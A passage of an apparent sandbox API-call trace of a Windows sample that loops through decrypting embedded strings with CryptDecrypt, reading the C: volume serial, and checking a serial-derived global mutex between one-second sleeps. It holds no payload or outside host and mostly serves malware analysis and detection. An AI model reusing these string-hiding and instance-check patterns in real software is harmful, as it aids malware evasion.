pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871820) returned 1 [0139.915] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0139.915] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0139.915] CryptDestroyKey (hKey=0x871820) returned 1 [0139.916] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0139.916] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1d5488, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0139.917] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d54b0 | out: hHeap=0x1d0000) returned 1 [0139.918] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5460 | out: hHeap=0x1d0000) returned 1 [0139.920] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0139.920] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5488 | out: hHeap=0x1d0000) returned 1 [0139.920] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5460 [0139.920] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871820) returned 1 [0139.921] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0139.921] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5460, pdwDataLen=0x20df6d8 | out: pbData=0x1d5460, pdwDataLen=0x20df6d8) returned 1 [0139.921] CryptDestroyKey (hKey=0x871820) returned 1 [0139.921] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x1d54a8 [0139.921] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x2b4 [0139.921] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x0) returned 0x102 [0139.921] CloseHandle (hObject=0x2b4) returned 1 [0139.922] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5460 | out: hHeap=0x1d0000) returned 1 [0139.923] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d54a8 | out: hHeap=0x1d0000) returned 1 [0139.925] Sleep (dwMilliseconds=0x3e8) [0141.003] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1d5460 [0141.003] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x8717e0) returned 1 [0141.003] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0141.003] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5460, pdwDataLen=0x20df6a4 | out: pbData=0x1d5460, pdwDataLen=0x20df6a4) returned 1 [0141.003] CryptDestroyKey (hKey=0x8717e0) returned 1 [0141.003] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d5488 [0141.003] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1d54b0 [0141.003] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0141.003] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x8717e0) returned 1 [0141.003] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0141.003] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0141.003] CryptDestroyKey (hKey=0x8717e0) returned 1 [0141.004] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0141.004] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1d5488, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0141.005] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d54b0 | out: hHeap=0x1d0000) returned 1 [0141.006] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5460 | out: hHeap=0x1d0000) returned 1 [0141.006] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0141.006] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5488 | out: hHeap=0x1d0000) returned 1 [0141.006] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5460 [0141.006] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x8717e0) returned 1 [0141.006] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0141.006] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5460, pdwDataLen=0x20df6d8 | out: pbData=0x1d5460, pdwDataLen=0x20df6d8) returned 1 [0141.006] CryptDestroyKey (hKey=0x8717e0) returned 1 [0141.006] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x1d54a8 [0141.007] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x2b0 [0141.007] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x0) returned 0x102 [0141.007] CloseHandle (hObject=0x2b0) returned 1 [0141.007] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5460 | out: hHeap=0x1d0000) returned 1 [0141.008] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d54a8 | out: hHeap=0x1d0000) returned 1 [0141.008] Sleep (dwMilliseconds=0x3e8) [0142.484] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1d1728 [0142.484] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x8717e0) returned 1 [0142.484] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0142.484] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1728, pdwDataLen=0x20df6a4 | out: pbData=0x1d1728, pdwDataLen=0x20df6a4) returned 1 [0142.484] CryptDestroyKey (hKey=0x8717e0) returned 1 [0142.484] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d5f50 [0142.484] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1d5f78 [0142.485] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0142.485] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x8717e0) returned 1 [0142.485] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0142.485] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0142.485] CryptDestroyKey (hKey=0x8717e0) returned 1 [0142.485] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0142.485] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1d5f50, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0142.485] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f78 | out: hHeap=0x1d0000) returned 1 [0142.485] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1728 | out: hHeap=0x1d0000) returned 1 [0142.485] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0142.486] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0142.486] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0142.486] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x8717e0) returned 1 [0142.486] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0142.486] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0142.486] CryptDestroyKey (hKey=0x8717e0) returned 1 [0142.486] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0142.486] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x228 [0142.486] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0x0) returned 0x102 [0142.486] CloseHandle (hObject=0x228) returned 1 [0142.486] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0142.486] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0142.486] Sleep (dwMilliseconds=0x3e8) [0143.695] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1d1728 [0143.695] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x8717e0) returned 1 [0143.695] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0143.695] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1728, pdwDataLen=0x20df6a4 | out: pbData=0x1d1728, pdwDataLen=0x20df6a4) returned 1 [0143.695] CryptDestroyKey (hKey=0x8717e0) returned 1 [0143.695] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d5f50 [0143.695] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1d5f78 [0143.695] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0143.695] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x8717e0) returned 1 [0143.695] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0143.695] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0143.695] CryptDestroyKey (hKey=0x8717e0) returned 1 [0143.696] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0143.696] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1d5f50, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0143.696] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f78 | out: hHeap=0x1d0000) returned 1 [0143.696] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1728 | out: hHeap=0x1d0000) returned 1 [0143.696] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0143.697] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0143.697] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0143.697] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x8717e0) returned 1 [0143.697] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0143.697] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0143.697] CryptDestroyKey (hKey=0x8717e0) returned 1 [0143.697] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0143.697] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x228 [0143.697] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0x0) returned 0x102 [0143.697] CloseHandle (hObject=0x228) returned 1 [0143.698] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0143.698] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0143.698] Sleep (dwMilliseconds=0x3e8) [0145.025] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1d1728 [0145.025] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x8717e0) returned 1 [0145.025] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0145.025] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d1728, pdwDataLen=0x20df6a4 | out: pbData=0x1d1728, pdwDataLen=0x20df6a4) returned 1 [0145.026] CryptDestroyKey (hKey=0x8717e0) returned 1 [0145.026] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1d5f50 [0145.026] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1d5f78 [0145.026] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0145.026] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x8717e0) returned 1 [0145.026] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0145.026] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0145.026] CryptDestroyKey (hKey=0x8717e0) returned 1 [0145.026] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0145.026] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1d5f50, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0145.026] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f78 | out: hHeap=0x1d0000) returned 1 [0145.027] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1728 | out: hHeap=0x1d0000) returned 1 [0145.027] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0145.027] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0145.027] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0145.027] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x8717e0) returned 1 [0145.027] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0145.027] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0145.027] CryptDestroyKey (hKey=0x8717e0) returned 1 [0145.027] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0145.027] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x228 [0145.028] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0x0) returned 0x102 [0145.028] CloseHandle (hObject=0x228) returned 1 [0145.028] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0145.028] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0145.029] Sleep (dwMilliseconds=0x3e8) [0146.179] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dcca0 [0146.181] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x8717e0) returned 1 [0146.181] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0146.181] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dcca0, pdwDataLen=0x20df6a4 | out: pbData=0x1dcca0, pdwDataLen=0x20df6a4) returned 1 [0146.181] CryptDestroyKey (hKey=0x8717e0) returned 1 [0146.181] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dccc8 [0146.181] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0146.181] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0146.181] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x8717e0) returned 1 [0146.181] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0146.181] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0146.181] CryptDestroyKey (hKey=0x8717e0) returned 1 [0146.182] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0146.182] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dccc8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0146.182] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0146.182] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0146.182] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.183] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0146.183] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0146.183] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x8717e0) returned 1 [0146.183] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0146.183] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0146.183] CryptDestroyKey (hKey=0x8717e0) returned 1 [0146.183] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0146.183] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x228 [0146.183] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0x0) returned 0x102 [0146.183] CloseHandle (hObject=0x228) returned 1 [0146.184] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0146.185] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0146.185] Sleep (dwMilliseconds=0x3e8) [0147.726] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dccc8 [0147.726] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x8717e0) returned 1 [0147.726] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0147.726] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dccc8, pdwDataLen=0x20df6a4 | out: pbData=0x1dccc8, pdwDataLen=0x20df6a4) returned 1 [0147.726] CryptDestroyKey (hKey=0x8717e0) returned 1 [0147.726] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dcca0 [0147.726] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0147.726] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0147.726] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x8717e0) returned 1 [0147.726] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0147.726] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0147.726] CryptDestroyKey (hKey=0x8717e0) returned 1 [0147.727] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0147.727] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dcca0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0147.727] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0147.727] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0147.727] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0147.728] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0147.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0147.728] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x8717e0) returned 1 [0147.728] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0147.728] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0147.728] CryptDestroyKey (hKey=0x8717e0) returned 1 [0147.728] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0147.728] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x228 [0147.728] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0x0) returned 0x102 [0147.728] CloseHandle (hObject=0x228) returned 1 [0147.728] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0147.729] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0147.729] Sleep (dwMilliseconds=0x3e8) [0149.324] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dcca0 [0149.324] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x8717e0) returned 1 [0149.325] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0149.325] 